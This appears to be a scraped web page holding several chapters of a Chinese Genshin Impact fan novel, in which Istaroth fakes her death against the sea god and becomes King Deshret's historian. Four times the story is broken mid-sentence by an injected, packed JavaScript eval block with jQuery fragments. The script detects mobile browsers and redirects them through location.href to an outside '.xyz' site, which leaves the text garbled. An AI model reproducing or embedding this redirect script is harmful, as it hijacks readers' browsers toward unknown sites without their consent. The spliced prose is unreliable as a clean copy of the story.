“罢了,追捕之事交给螣蛇太元帅,护法夜叉和留云等人都在前线重伤,让他们休养疗伤罢。”
伊斯塔露的脚步一顿。
魈和留云借风真君被海之魔神重伤?
如今摩拉克斯在归离集,抵御弗加洛的阵线没有魔神坐镇……
在她脚步停下的瞬间,摩拉克斯,
“伊露,停下脚步。”
伊斯塔露当即意识到摩拉克斯刚才那句话在试探她。
而她关心则乱,也确实是正中摩拉克斯下怀。
——她怎么就忘了摩拉克斯精明不亚于归终了?
伊斯塔露“啧”了一声,打了个响指,
待摩拉克斯下一瞬破开伊斯塔露的法阵时,她已经消失在了归离集众人的视野中。
伊斯塔露的身影在山林间快速闪动,却并非是要离开天衡山一带,而是赶往她镇压弗加洛的海边——
摩拉克斯好算计。
既然他说了魈和留云借风真君重伤,她无论如何都会赶去看看二人的安危。
而摩拉克斯只需要在海边拦截住她即可。
可是纵然知道摩拉克斯的阳谋,伊斯塔露也义无反顾。
如果摩拉克斯说的是真的,她不去的话,前线的任何人都是有可能死去的。
弗加洛的宣战本就是她造下的业果。
伊斯塔露不能接受自己明明有能力救人,却无动于衷地看着他们死去。
她只能争取在摩拉克斯拦住她之前解决弗加洛,然后脱身离开这里了。
.
云来海边。
乌云蔽月,海浪汹涌,浪花焦躁地拍打着沿岸的礁石,海之魔神浮在巨大的漩涡中央,阴鸷地看着拦在岸边的仙人们。
岩之魔神紧急撤离前线,留下来的这些生物对于他而言,不值一提。
弗加洛扬起手臂,召来毁天灭地的浪潮,毫不留情地扑向岸边。
魈手执长枪,枪尖划开迎头打来的海浪,四溅的水珠却化作利刃,毫不留情地穿透了他的血肉。
他听见身边的留云借风真君在催促他“你已重伤,速速退下”,他看见自己咳出了满手的鲜血。
可他不能再往后退了。
身后就是渔村,他现在退的每一步,都需要同伴用血肉来承担,或是人类用性命来偿还。
一定要守到帝君回来。
不能退,哪怕死在这里。
……反正夜叉一族为沙克斯驱使时,早已有太多恶行,就算他死去也不过是还了业果。
死不足惜的。
魈的金眸深处燃起回光返照的一点金芒,本被击碎的傩面虚影重新覆盖了脸庞,他一跃而起,寒芒如弯月,划开了离海岸最近的浪潮。
蕴含海之魔神怒意的攻击尽数被魈承受,天地倒旋,他如被折断了羽翼的鸟儿一般,被浪潮重重地拍向沙滩。
傩面破碎,身负重创,像极了当初伊斯塔露把他捡回去时的模样。
只是这次她尚在归离集,大概没有人会再救他一次了。
魈疲惫地想要合上双眼,却惊觉有人从身后接住了自己。
伊斯塔露上下打量着魈,倒吸一口凉气:
“唉,魈啊,你怎么伤成这样?赶紧休息吧,这里交给我。”
“……伊露大人?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936206|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
魈的声音甚至有一丝颤抖。
她再次如奇迹般出现。
“是我,”伊斯塔露不由分说地把魈带到了阵线后方,“我会解决弗加洛,我会斩断我在这里的因果。”
伊斯塔露顿了一下,又缓缓道:
“所有的因果。”
在离开前,伊斯塔露倒流了魈身上的时间,原本几乎危及性命的伤口在刹那间逆向愈合。
随后,她在魈的注视下,从虚空中拔出一把星辰点缀的银白长剑,缓缓走向海之魔神。
以她为界,权能尽数释放,汹涌的海浪被定在原地,仙人们的伤口如时光倒转般飞速愈合,原本有毁天灭地气势的浪潮在伊斯塔露面前也不过如此。
原本也只是睥睨仙人的海之魔神在看见伊斯塔露后,眼中锋芒凛冽,他终于也拔出了自己的武器。
所有人的视线都聚焦在这二人身上。
伊斯塔露赶时间,也没和弗加洛礼让,轻跃几步登临浪潮之上,剑气如弯月,直直劈向弗加洛。
弗加洛也毫不犹豫地迎上了她的剑锋:
“向您讨教,高高在上的伊斯塔露大人。”
剑锋霎时碰撞,刺目的白光以二人为中心散开,甚至天地也为之陷入一片苍茫,唯有金属铮鸣声穿透了云层。
许久之后,白光散去,海潮平息,却再也找不到伊斯塔露的身影。
就像一切都不存在一般,弗加洛和伊斯塔露同时消失在海上。
唯有乌云散去,明月高悬。
她……和海之魔神同归于尽了?
魈难以置信地望着海面,站起身,几乎是跌跌撞撞地奔向云来海,却看见站在海岸上,同样一脸绝望的留云借风真君。
“降魔大圣,本仙没找到伊露。”
留云借风真君颓然地闭上眼。
“她不会有事……”
人人都道冷淡不近人情的护法夜叉怔怔的望着海面,几乎是咬着牙说出这几个字。
月光照着云来海上粼粼波光,千里流银,却始终不见一人。
“留云,”摩拉克斯不知何时出现在几乎绝望的二人身后,“你们可是见到伊露了?”
“帝君,你不是同我说,她在后方保护归终吗?”
留云借风真君猛地转身盯着摩拉克斯,似在质问:
“怎么让她上前线来了?她和……她和海之魔神……”
留云借风真君还是没能忍心说出“同归于尽”几个字。
怎么会就这么死了呢?她明明单独应付过夜叉之主!
“归终死了。”
摩拉克斯的视线平静地扫过或惊诧或悲痛的二人。
“众多证据表明,归终被伊露所杀。”
摩拉克斯缓缓地看向空无一物的云来海,那几乎不起波澜的眼中也终于有了起伏:
“而后,她赶来了这里,与海之魔神同归于尽。”
“归终和伊露都死了,我也……不知缘由。”
摩拉克斯似乎极轻地叹息了一声。
留云借风真君闭上了眼,哽咽不语。
魈更是失魂落魄,他颤抖着捂住了嘴,却咳出一口鲜血。
归终和伊露都死了,再办法质问谁,也没有人能在遗骸都寻不到的二人身上找出真相。
.
层岩巨渊附近,身着白色斗篷、头戴兜帽的少女接下了一片不知何处飞来的树叶,细细阅读过后又施法令其化为齑粉。
她喃喃自语着,发出了隐隐含着讥诮的笑声:
“来自「天理」的谕示么……前往沙漠,设法让赤王精神崩溃,如有必要,除去花神与树王?”
“「时之执政」伊斯塔露领命。”
“我的路啊,刚刚开始。”
20. 人间一梦(二十)
央陆,沙漠地带。
茫茫风烟裹着漫天飞沙,只能依稀看见远方宏伟的金字尖塔。
身披白色斗篷、戴着兜帽的人踏过漫漫黄沙,在一处绿洲边停下脚步,转身远望金字塔下的聚落。
那是赤王「阿赫玛尔」的领土。
也是伊斯塔露此行的目的地。
片刻后,伊斯塔露收回视线,径直走向了在湖泊边休息的商队。
她向一名坐在湖边、看着水囊发愁的女人递上了一袋清水:
“您好,请问可以向您请教几个问题吗?”
“嚯,说话文绉绉的,人倒是上道啊。不白收这袋水,你问就是了。”
女人放下水囊,接过伊斯塔露的水,垂眼却瞥见斗篷下白皙的手腕,眉梢一挑:
“这肤色,啧……雨林那边来的?”
“嗯,算是。”
伊斯塔露不明所以,顺着她的话点头。
“走开走开!”
女人忽然站起身,猛地推了伊斯塔露一把,见她并没有离开的意思,更是大声嚷嚷着把她往远处退。
商队的其他人听见动静,也只是随意扫了一眼,并没有人阻止女人粗暴的动作
伊斯塔露在女人再次抬手时,扣住了她的手腕,声音冷了几分:
“请问您这是什么意思?”
女人心有余悸地回头看了一眼商队中的独眼男人,压低声音:
“我们老大最讨厌外来的白皮肤的人了,他说赤王大人就是被那两个和他结盟的白皮肤女神蛊惑了。”
“白皮肤的人遇上他,仔细你的小命!”
见伊斯塔露没什么反应,女人又不情愿地哼了一声:
“说了不白收你的水,你要问什么,快问。问完快走,别把我害了!”
伊斯塔露见女人,便笑了笑:
“您知道怎样才能觐见赤王大人吗?”
“哈?”
女人上下打量着白皙纤弱、甚至用斗篷遮着大半张脸的少女,冷哼一声:
“我们尚武,要是军功赫赫,说不准能得赤王大人青睐。不过就你这个小身板……”
“我知道了,”伊斯塔露不置可否地笑了笑,“谢谢您,愿赤王大人保佑您。”
不顾女人好奇的目光,伊斯塔露利落地转身离开,走向赤王的领土。
一路打听下来,伊斯塔露才发现,沙漠地区的情况和她想得不太一样。
她本以为沙漠应当人烟稀少、发展落后,事实却恰恰相反。
央陆最兴盛繁荣的正是沙漠地区——赤王所统治的领地。
同样有趣的是,赤王和花神、树王两位神明的结盟,虽然让沙漠和雨林的人类安居乐业,在他的子民眼里却称不上一段佳话。
一部分人认为两位女神蛊惑了赤王,才令战无不胜的赤王延缓了征战的脚步,阻挡了其铸就伟业。
所以不少人对雨林有天然的排斥,对从沙漠外来的白皮肤人也相当恶劣。
这从伊斯塔露还没踏入这赤沙的城邦便已经体现——
守城的士兵上下打量着伊斯塔露,在看到斗篷下白皙的肌肤时,眼神一下变得鄙夷起来。
随后,两把长杖交叉着横在了伊斯塔露面前。
“外来人,你如何证明自己不是他国派来的奸细?”
伊斯塔露几乎要被气笑:
“且不说我坦坦荡荡光明正大——我甚至还没进城,凭什么要自证是不是奸细?”
深棕色皮肤的士兵不由分说地打断了伊斯塔露:
“少装蒜!领土的雷穆斯不自量力,最近向赤王大人宣了战!谁知道你是不是他派来的卧底!”
“哪个正常人宣战了才派卧底……”
伊斯塔露叹了口气,不想再和刻意刁难的士兵争辩,她冲着东方的沙丘遥遥一指:
“对面还需要卧底吗?这不是打过来了吗?”
“开什么玩笑!赤王大人马上就要亲临我们城,雷穆斯有什么胆量……”
其中一名士兵对伊斯塔露的话嗤之以鼻,只漫不经心地朝她所指的方向瞥了一眼。
随即,那名士兵惊恐地瞪大了眼。
远方尘沙飞扬,高亢而诡异的歌声随着一排人影,缓缓逼近。
两名守城士兵当即捂着耳朵倒地不起,伊斯塔露有些尴尬地站在一旁。
她看上去更和这些人不合群了,要不她也倒一个?
伊斯塔露不受摩拉克斯魔神威压的影响,自然也不为魔神雷穆斯所创造的音乐干扰。
她蹲下身,戳了戳随便一名士兵:
“这样,你们的赤王也不知道来不来了,我们打个商量。”
“我把他们赶走,你们让我进城吧。”
那名士兵明明已经痛苦地捂着耳朵,却仍是不屑地看了伊斯塔露一眼:
“唔……就凭你……呃啊,雨林来的白皮肤……”
伊斯塔露不以为意地点点头:
“对,就凭我,那说好了啊。”
伊斯塔露站起身,自虚空中拔出银白的长剑,随手向远方荡出一道剑气。
凛冽的寒芒一闪而逝。
当初奥罗巴斯尚且被逼得节节退败,这些尖啸着的人影也不例外。
在剑气还未逼近时,它们朝来时的方向奔逃而去。
一场似乎出乎意料的突袭便被伊斯塔露轻而易举地消弭于无形。
伊斯塔露满意地拍拍手,朝两名缓缓爬起身的士兵挑了挑眉:
“解决了,那我进城了。”
言毕,伊斯塔露也不顾那两名士兵有阻拦之势,一溜烟地没了影。
“大胆!你凭什么……”
两名士兵抬脚就想追上去。
一柄长杖却拦住了他们——衣着头饰神似荷鲁斯神的白发青年不知何时出现在二人面前。
英气逼人的白发青年抬头望着高悬的烈日。
阳光照在古铜色的肌肤上,他的金瞳亦不逊炽阳的光辉:
“让她进城。”
“说什么鬼话!这些雨林来的女人就没什么好东……”
其中一名守卫嚷嚷着,转头看了一眼那银白长发的青年,大惊失色。
随后,他诚惶诚恐地跪下:
“遵命,赤王大人。”
.
相比起守城的士兵,城邦内的人民对外来者的态度,虽然称不上多好,但也还算和善。
伊斯塔露废了一番功夫后,成功打听到赤王的消息——
他最近不仅今天会巡视到这个城邦,似乎还打算在民间招一名随侍御前的文官。
这应该是伊斯塔露接近赤王最好的机会了,运气好甚至可以见到花神和树王。
无论是天理的谕示还是神秘声音留下的笔记,都要伊斯塔露折磨这三神。
只是天理大概认为赤王会加冕,笔记里却说最后只能是树王活下来。
伊斯塔露闭上眼,叹气。
又是要她只留一个的戏码,看来这沙漠待不了多久又要跑路了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936207|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>现在距离她在归离集假死跑路也没多久,也不知道留云借风真君和魈会怎么想,摩拉克斯想必更不会轻易觉得她死透了……
也不知道归终在未来会如何,伊斯塔露甚至都不能肯定自己以后会不会被天理弄死。
越想越觉得前路一片渺茫,伊斯塔露又重重地叹了一口气。
一名英气逼人的白发青年不知何时出现在伊斯塔露身边,侧头看着她:
“为什么要叹气?”
即使这人近在咫尺,伊斯塔露也下意识在街道上左顾右盼,没看见周围有其他人,才狐疑地指了指自己:
“……你问我吗?”
沙漠人有这么热情好客吗?伊斯塔露大为震撼,拉低了斗篷兜帽的帽檐。
明明刚才守城士兵还在想方设法赶她走!
“是啊,不然还能是谁?”
古铜色皮肤的白发青年好奇且直白地打量着伊斯塔露:
“据说这里的人民都安居乐业,只有你看起来愁眉苦脸的。”
“嗯?对外来人的心理健康这么关心吗?”
伊斯塔露挑了挑眉,试图和青年打太极:
“我记得白皮肤的人好像在沙漠不太受欢迎。”
“并不会,”白发青年的神色却严肃起来,“无论肤色与地域,所有人都应该是平等的。”
“那挺好的,不过据说赤王大人今天会街道巡游,我仰慕赤王大人已久,急着去一睹英姿,先失陪了?”
有了归离集的前车之鉴,伊斯塔露没有和他人太过相熟的打算,她满嘴跑火车地截断了话头,只想溜走。
“你没见过赤王?”
白发青年似乎低低地笑了一声,随后才发问。
只是他的语气无比笃定。
“不管见没见过,总是想瞻仰瞻仰这位传说中的神明大人的,是吧?”
伊斯塔露打着哈哈,下意识不想和这个青年多纠缠。
“正巧,我也对此有些想法。”
青年似乎又忍不住低笑了一声,随即提出建议:
“不如和我一起找个好位置,等待赤王巡游?”
“反正你和我也算志同道合了,对吧?”
伊斯塔露:“……行。”
这哥们怎么跟粘牙糖似的,甩不掉的啊?
求沙漠人不搭理她教程。
伊斯塔露勉强点头,算是同意了白发青年的同行要求,却盘算着怎么从他嘴里套话。
然后再找个机会把这奇怪的青年甩了。
她总觉得莫名其妙笑的家伙有古怪。
伊斯塔露和白发青年并肩走在路边,大部分居民对此视若无睹。
只有一队巡逻的士兵们和二人擦肩而过后,都露出了见鬼的表情。
那个白衣服的人在说什么鬼话?什么要去瞻仰赤王大人的圣容?可赤王大人不就站在她旁边吗?!
阿赫玛尔回过头,视线一一扫过士兵们。
他以眼神示意他们不要打草惊蛇。
随后,阿赫玛尔把眼底对伊斯塔露的警惕一点一点压下。
重新看向身边的白衣人时,他的金眸重新泛上笑意。
没认出赤王,这不能怪伊斯塔露。
她没见过赤王,无论是天理还是笔记也没提过阿赫玛尔的长相。
伊斯塔露自然先入为主地觉得,赤沙的君王大概是满身肌肉、一脸杀气的大汉了。
毕竟也没人和她说赤王是个白毛帅哥啊。
这合理吗?这不合理。
21. 人间一梦(二十一)
伊斯塔露看着街道上越来越喧嚣的围观人群,视线最后落在白发青年身上:
“听前面的声音,好像是赤王大人的巡游要开始了,我打算找个高点的好位置。”
“你要是跟不上来,可以就近找个地方?”
伊斯塔露还是想甩掉这家伙。
“哦,这就用不着了。”
阿赫玛尔挑了挑眉,不置可否地笑了一声。
原定的赤王巡游全城怎么可能举行呢?毕竟他阿赫玛尔——也就是赤王本人正在街道上打探伊斯塔露的虚实。
他对伊斯塔露实在很有兴趣。
他阿赫玛尔自从以沙漠为领地以来,荡平四方魔神,战无不胜,从未遇到势均力敌的敌人。
而他的盟友树王和花神也并非以武力称著。
所以亲眼看到伊斯塔露仅凭一道剑气就解决了危及一城的雷穆斯前锋时,阿赫玛尔难得升起了棋逢对手的兴奋。
不管是不是魔神,他都好久没见过这等实力的存在了。
这种人,无论是令其臣服还是将其打败,他都会很有成就感。
伊斯塔露见阿赫玛尔并没有知难而退,头疼地按了按太阳穴,随后提气掠身,几步便跃到了一旁建筑二楼的天台之上。
她站在无人白楼的天台边缘,垂眼看向阿赫玛尔。
谁知古铜色皮肤的白发青年也轻松写意地跃至她身侧,回以带着挑衅意味的一眼。
伊斯塔露无可奈何了。
她索性坐在了天台边缘,看着旷远而澄净的天空,话却是对白发青年说的:
“朋友,我们真的要一起围观这个巡游吗?”
“你不觉得……很奇怪吗?”
伊斯塔露甚至想手脚并用地给他比划。
“哦,不奇怪,看你合眼缘。”
阿赫玛尔不走心地解释道。
正是因为眼前的人似乎只是个年轻且温和的少女,却有移山填海的能力,所以他于公于私都得盯着。
伊斯塔露还试图和他讲道理:
“你不觉得尴尬吗?我们可能还没有那么熟,我们从雨林来的人比较内敛……”
伊斯塔露差点把话说得自己都不相信了。
“并非如此,”阿赫玛尔想起了自己的两位盟友,闭上眼叹息道,“从沙漠外来的人最难应付了。”
“如果你觉得不熟的话,”白发青年甚至笑了一声,提出建议,“聊聊天吧,聊了就熟了。”
伊斯塔露:……
她不喜欢这种社交能力太强的人,真的。
“正巧现在遍地动乱,魔神之间相互厮杀……”
正如阿赫玛尔自己所建议的,他真的开始试图和伊斯塔露聊天。
“你希望赤王具有无人能比的强大力量,护佑一方吗?”
“唉,年轻人不要天天想着打打杀杀。”
伊斯塔露瞥了一眼阿赫玛尔,又把自己的兜帽帽檐拉低了些。
“武力只是和平的手段,而不是统御他人的工具,比起强大,更重要的是对苍生的仁心。”
“巧了,我也这么想。”
阿赫玛尔也看向天空,他的视线追随着飞向远方的雄鹰,英气却漂亮的眉眼闪着灼灼光华。
“在我眼里,合格的君王理应带给人民如同黄金梦乡般的美好生活。”
伊斯塔露闻言,侧头看向阿赫玛尔,张口欲言,却被不远处越来越大的喧嚣声打断。
一句清亮高亢的惊呼更是令人侧目:
“不好啦!赤王大人遇刺——”
阿赫玛尔:?
……赤王遇刺吗,那他是谁?
赤王本王一言难尽地看着骚动骤起又平息,笑着叹了口气,视若无睹地和伊斯塔露聊天:
“传说中的黄金梦乡啊,即使要穷尽一生去追寻,身为圣明的王,想必也不会后悔。”
“这样么?”
伊斯塔露的视线却牢牢锁在重新列队前行的军队上,指了指最中央的被军士架着拖行的高大男人。
“可是‘赤王大人’好像没办法追寻你要的黄金梦乡了哦?”
围观的群众更是看见两侧的士兵若无其事地将遇刺的“赤王”架起来拖行,似乎定要完成这场“巡游”。
不少人情绪激动起来,举着拳头提出抗议。
白发青年倒是对高大男人的惨状不屑一顾:
“这不是什么大事。”
“大概是某个乱臣贼子觉得赤王不会真的来边境巡视,想玩一出唱衰赤王引起内乱的戏码罢了。”
“虽然不是人人都见过赤王,但那些士兵要是相信赤王是不堪一击的家伙,眼睛也可以不要了。”
他倒是饶有兴趣地看着伊斯塔露:
“还是你有什么想法?”
伊斯塔露终于摘下了斗篷的兜帽,奇异的金蓝色眼眸与阿赫玛尔的金眸碰在一起:
“这算考验吗?您觉得我应该怎么解决这件事呢,赤王大人?”
“或者说,你希望从我身上看到什么价值?”
兜帽落下的那一刻,赤王看着疏淡如琉璃的神明,似乎怔愣了一下。
随后,他挑眉笑了笑。
“呵呵,用不着,此事我自有解决办法。”
阿赫玛尔从天台一跃而下,远远地看了站在高台的伊斯塔露一眼,视线转向因他的出现而停下的军队。
他手中的赤沙之杖直指正中央的高大男人。
当他望向那列军队时,已有人顿时激动起来——他们都是有幸见过赤王大人真容的人。
如他们所料,赤王大人果然现身了,他绝不会任由乱臣贼子冒名顶替他!
他只是在等待一个令贼子全部伏诛的机会。
唯一一名随军前行的文官见状,不由得皱了皱眉,他走上前,行了一个潦草的礼:
“赤王大人……”
没有丝毫犹豫,一道刺目的白光划过,顷刻间,游行军队中每一个心怀侥幸的内奸都被阿赫玛尔斩于杖下。
贼眉鼠目的文官更是被阿赫玛尔枭首示众。
阿赫玛尔平静地看着这染血的场景,在民众的惊呼声中岿然不动。
佞臣,诡计,叛乱,在他的权能下,不过一捧随风而逝的黄沙。
仅凭阿赫玛尔一人的决断足矣。
或许这就是赤王高傲却无人有异的由来。
阿赫玛尔若无其事地擦去了溅到脸上的血,遥望着坐在天台边缘的伊斯塔露,开口:
“事关沙漠子民的安危,我,阿赫玛尔,事必躬亲。”
“所以我亦不能放任你自由行走在我的领土。”
但他却收起了赤沙之杖,向伊斯塔露伸出了手,灿烂的日光落在阿赫玛尔眼中,青年模样的魔神意气风发:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936208|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“但无论你的实力如何,我同样敢于接纳你。”
“如果你愿意向我称臣的话。”
正合她意,她本就是在想办法接近赤王,谁能想到他会自己送上门来?
伊斯塔露不动声色地笑了笑,也从天台一跃而下。
她回想着一路的所见所闻,行云流水般向赤王行了记忆里沙漠中对君王的礼仪:
“向您称臣,赤王大人。”
.
伊斯塔露怀疑阿赫玛尔早就对今日之事有所预料。
——她居然刚好填补了那个被赤王斩毙的文官的位置,成为了传言中需要从民间招募的御前史官。
骑在高头大马上、随军踏上返回王城的道路时,伊斯塔露还是忍不住策马靠近了阿赫玛尔,问了一句:
“赤王大人,您对谁都这么自来熟吗?”
事实上,除了诛杀乱臣时可窥见一隅的决绝狠辣,阿赫玛尔在她面前,和之前也没什么区别。
并没有什么君王的架子。
“那怎么可能?”
阿赫玛尔看着她笑了一声,笑容骄傲又锋利:
“这是对强者独有的尊重,至今也只是对你而已。”
“荣幸之至,就是有点抬举我了。”
伊斯塔露暗暗舒了口气。
所幸,阿赫玛尔虽然强大,但比起摩拉克斯却更加骄傲自负,应该不至于一开始就对她疑神疑鬼。
想到摩拉克斯,伊斯塔露叹息着摇了摇头。
她好不容易取得摩拉克斯的信任,最后还是不得不由她自己亲手毁掉……
“你担得起我的尊重,我不说谎,”阿赫玛尔挑眉看了伊斯塔露一眼,“倒是你,谎话张口就来。”
“哪能呢?”伊斯塔露当即否认,“我最诚实了。”
“我仰慕赤王大人已久,急着去一睹英姿——”
阿赫玛尔看都不看她,一字一句地复述。
这会儿换伊斯塔露诚恳地看着阿赫玛尔了:
“咝,这我真得澄清,这确实是谎话。”
“你也看得出来的吧,赤王大人?我当时只是想甩掉你。”
“我赌一车赤念果,我不仰慕你,赤王大人,真的。”
“哦——真的?”
赤王看上去一脸的不信任。
伊斯塔露:……?
她该怎么和这位赤王大人解释,有自信是好事,但太自信可能不是好事呢?
在伊斯塔露无话可说的注视中,阿赫玛尔却快意地笑了出声。
随后,赤王正色起来:
“虽然让你做了我的史官,但还没问过你的名字,你叫什么?”
伊斯塔露不知道该不该感谢这位赤王大人终于想起了这件事。
但说实话,她也差点没想起来——没想起来取假名。
她还记得自己要做什么,所以绝对不可能告诉赤王她的真名的。
“……卡伊洛斯,我叫卡伊洛斯。”
最后,伊斯塔露顺手用了笔记里记载的假名——似乎是在她失去记忆之前用过的假名。
“行,卡伊洛斯对吧?我记住了。”
阿赫玛尔点了点头,忽然一甩缰绳,驾马偏离了军队,朝向了雨林与沙漠交界的方向:
“正巧,我今日打算去和布耶尔还有娜布会谈。”
“卡伊洛斯,你也一起去吧。”
22. 人间一梦(二十二)
伊斯塔露有些难以置信地指了指自己:
“啊?我吗?”
她本来还打算慢慢谋划,找机会借赤王接近花神和树王。
谁知道阿赫玛尔就这么哥俩好地带她去见他盟友了。
这好人卡不得不发一张给赤王大人了。
“是你,”阿赫玛尔在骄阳下颔首,灿烂的金眸不输烈日的光芒,“走不走?不走我走了。”
“当然走啊,赤王大人,荣幸之至。”
伊斯塔露戴上了斗篷的兜帽,扬起缰绳,在漫天飞沙中,策马跟上了阿赫玛尔。
.
行至沙漠和雨林的边界时,阿赫玛尔翻身下马,朝伊斯塔露扬了扬下巴:
“下马,见面地点在丛林的湖心,接下来的路要走过去了。”
伊斯塔露依言翻身下马,跟在赤王身后半步,从满天黄沙的沙漠踏进了古树参天的山林。
阿赫玛尔也没计较,走在前面,顺手替伊斯塔露开了路。
“作为史官,你记叙这段历史时,记得透过现象看本质,如实记录我的英明神武。”
阿赫玛尔面不改色地拨开横在眼前的树枝,如此叮嘱伊斯塔露。
伊斯塔露察觉到了一丝不对劲,她挑了挑眉:
“您说的表象是指什么,英明神武的赤王大人?”
她特意重复了“英明神武”这几个字。
“我不怎么和那两位做口舌之争,”
阿赫玛尔回过头,神色平静、一脸正气地盯着伊斯塔露。
伊斯塔露却不置可否地笑了一声。
阿赫玛尔对花树二神的态度,可不如摩拉克斯在归终面前那么游刃有余。
果不其然,二人还没越过丛林,不知何时落下的飞花便化作锋刃,相当细心地绕开了伊斯塔露,尽数扎向阿赫玛尔。
阿赫玛尔抬了抬手,轻而易举地拂开了花刃,一脸无可奈何。
“布耶尔,娜布,让我过去。”
“做梦呢,阿赫玛尔,”飘渺空灵的女声从远处的湖心飘来,“会谈是你提出的,迟到的却也是你,才多久不见,你就这么嚣张了?”
“出了点意外,”阿赫玛尔抬手摁了摁太阳穴,解释道,“在街上收拾了几个图谋不轨的反贼。”
“借口倒是张口就来。”飘渺空灵的女声如此评价道。
“阿赫玛尔,我早就提醒过了,即使战无不胜如你,也不该太过自信、随意用人。”
“娜布也不是怪你的意思,过来吧。”
随着另一个女声的叹息,横在阿赫玛尔和伊斯塔露面前的藤蔓缓缓解开,眼前豁然开朗。
天空泛着霞色,郁郁葱葱的树林环绕着如明镜般的湖泊,一抹青绿点在湖中央,古树在湖心岛上巍然而立。
此处犹如仙境,湖光山色,晴川正好。
湖心古树上,衣袂翩然的两位神女倚着树枝缠成的椅子,相对而坐,同时望着阿赫玛尔的方向。
阿赫玛尔随手解下白色的披风,把它和赤沙之杖一起塞给身边的伊斯塔露,潇洒地走向湖心。
伊斯塔露手忙脚乱地接过了披风和重达千钧的长杖。
她不喜欢这种随手丢东西的人,真的。
伊斯塔露打算把这些玩意丢还给阿赫玛尔,谁知不过转眼,这位赤王大人已经跑得老远。
伊斯塔露:……
所以说她不喜欢这种人吧!阿赫玛尔到底是想招史官还是奴隶!
她伊斯塔露实名拒绝奴隶制!
伊斯塔露叹了口气,认命地抱着赤王的行头,也走向了湖心的小岛。
——反正来都来了,谁管这行为是不是僭越了,她起码得认一下树王和花神长什么样。
有趣的是,伊斯塔露踏上湖面时,只见圈圈涟漪从足间泛起——当真如同踏在镜面上,不会沉入湖底。
于是,她在三位神明的注视下,慢悠悠地走上了湖心岛,敛着眉眼站在阿赫玛尔身后。
“阿赫玛尔,这位是?”
见赤王默许了伊斯塔露的行为,花神娜布随意打量了她两眼。
白衣金发的女神容色姝丽,顾盼生辉,连四周难得一见的美景都要为之失色。
“哦,这是我的新史官,顶替之前的叛臣。”
阿赫玛尔拎起地上的雕花酒壶,为自己斟了一杯酒。
“我们今日的会议或许会留名青史,便让她来随侍记录了。”
树王布耶尔探究的目光在伊斯塔露身上一扫而过:
“这位史官阁下实力亦是不凡,居然愿意做你的史官?”
布耶尔仅凭一眼就能看出她的实力?还是兵不厌诈?伊斯塔露垂着眉眼,也在心中评估三人。
阿赫玛尔倒是不为布耶尔的话所动,他无所谓地笑了一声,英气而漂亮的眉眼锋芒毕露:
“为何不能?我说过,我能接纳所有向我称臣的人,无论实力——也有能力接受任何背叛,并给予刑罚。”
“我所追求的理想无垢无尘,她为何不能是心甘情愿向我纳膝?”
大慈树王不置可否地笑了笑,没有再劝阿赫玛尔。
她很清楚,这也是赤王一直以来的高傲——
阿赫玛尔如同沙漠之上的骄阳,磊落坦荡,他也从来不畏惧任何欺骗与背叛,因为他有荡平一切的能力。
“阿赫玛尔,自信虽然是好事,但是呢……”
花神倒像是无心劝说,她淡淡地扫了阿赫玛尔一眼,毫不掩饰自己的嫌弃:
“但自信成你这样就不是什么好事了。”
她又将目光落在伊斯塔露身上,视线随着兜帽下的一缕银白发丝,落在了伊斯塔露肩上半遮半掩的衔尾蛇图腾上。
看清图腾的那一刻,娜布倒吸一口凉气,敛起了漫不经心的神色,从座位上站起身。
她毫不掩饰自己的目光,视线紧紧地锁着伊斯塔露。
阿赫玛尔停下了斟酒的动作,有些好奇地来回打量二人:
“娜布,你这是?”
娜布垂下眉眼,轻飘飘地道:
“阿赫玛尔,你这位史官阁下,叫什么名字?”
“嗯?她啊,她叫卡伊洛斯。”
阿赫玛尔话音刚落,娜布已经走到了伊斯塔露面前。
伊斯塔露也在斗篷的兜帽下注视着娜布——她觉得花神突如其来的情绪重得有些吓人了。
可她要做的事,不允许她和他人之间存在这样的情绪。
伊斯塔露不动声色地后退了一步。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936209|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
